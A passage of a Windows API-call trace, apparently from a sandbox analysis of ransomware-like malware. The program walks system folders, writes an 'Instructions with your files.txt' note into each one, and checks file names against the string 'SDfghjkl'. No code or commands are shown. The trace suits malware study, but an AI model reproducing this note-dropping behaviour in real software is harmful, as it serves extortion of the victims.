[0131.808] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f054512, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f054512, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7d3f90d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 0
[0131.808] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\Instructions with your files.txt") returned 122
[0131.808] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.808] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.809] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.809] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.809] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.809] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.809] CloseHandle (hObject=0x118) returned 1
[0131.810] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.810] GetProcessHeap () returned 0x810000
[0131.810] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.810] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb10bc180, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10bc180, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 0
[0131.810] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\Instructions with your files.txt") returned 83
[0131.810] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.810] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.811] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.811] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.811] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.811] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.811] CloseHandle (hObject=0x114) returned 1
[0131.811] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.811] GetProcessHeap () returned 0x810000
[0131.811] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.811] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb10bc180, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10bc180, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 0
[0131.811] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Instructions with your files.txt") returned 78
[0131.811] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.811] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.812] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.812] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.812] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.813] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.813] CloseHandle (hObject=0x110) returned 1
[0131.813] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.813] GetProcessHeap () returned 0x810000
[0131.813] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.813] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb10bc180, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10bc180, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1
[0131.813] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\DeviceSync") returned 43
[0131.813] GetProcessHeap () returned 0x810000
[0131.813] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.813] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\DeviceSync\\*") returned 45
[0131.813] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\DeviceSync\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb10bc180, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10bc180, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.813] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\DeviceSync\\.") returned 45
[0131.813] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb10bc180, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10bc180, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.813] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\DeviceSync\\..") returned 46
[0131.813] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10bc180, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb10bc180, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10bc180, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.813] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\DeviceSync\\Instructions with your files.txt") returned 76
[0131.813] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.813] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10bc180, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb10bc180, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10bc180, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.813] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\DeviceSync\\Instructions with your files.txt") returned 76
[0131.813] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\DeviceSync\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\devicesync\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.814] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.814] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.815] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.815] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.815] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.815] CloseHandle (hObject=0x110) returned 1
[0131.815] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.815] GetProcessHeap () returned 0x810000
[0131.815] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.815] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb10e22e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10e22e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1
[0131.815] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\DRM") returned 36
[0131.815] GetProcessHeap () returned 0x810000
[0131.815] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.815] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\DRM\\*") returned 38
[0131.815] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\DRM\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb10e22e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10e22e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.815] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\DRM\\.") returned 38
[0131.815] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb10e22e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10e22e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.815] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\DRM\\..") returned 39
[0131.815] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb10e22e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb10e22e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10e22e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.815] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\DRM\\Instructions with your files.txt") returned 69
[0131.815] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.816] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb10e22e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10e22e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 1
[0131.816] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\DRM\\Server") returned 43
[0131.816] GetProcessHeap () returned 0x810000
[0131.816] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.816] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\DRM\\Server\\*") returned 45
[0131.816] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\DRM\\Server\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb10e22e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10e22e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.816] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\DRM\\Server\\.") returned 45
[0131.816] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.816] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb10e22e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10e22e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.816] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\DRM\\Server\\..") returned 46
[0131.816] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.816] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10e22e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb10e22e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10e22e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.816] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\DRM\\Server\\Instructions with your files.txt") returned 76
[0131.816] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.816] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10e22e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb10e22e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10e22e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.816] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\DRM\\Server\\Instructions with your files.txt") returned 76
[0131.816] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\DRM\\Server\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\drm\\server\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.816] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.817] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.817] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.817] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.817] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.817] CloseHandle (hObject=0x114) returned 1
[0131.818] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.818] GetProcessHeap () returned 0x810000
[0131.818] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.818] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb10e22e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10e22e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 0
[0131.818] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\DRM\\Instructions with your files.txt") returned 69
[0131.818] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\DRM\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\drm\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.818] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.819] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.819] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.819] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
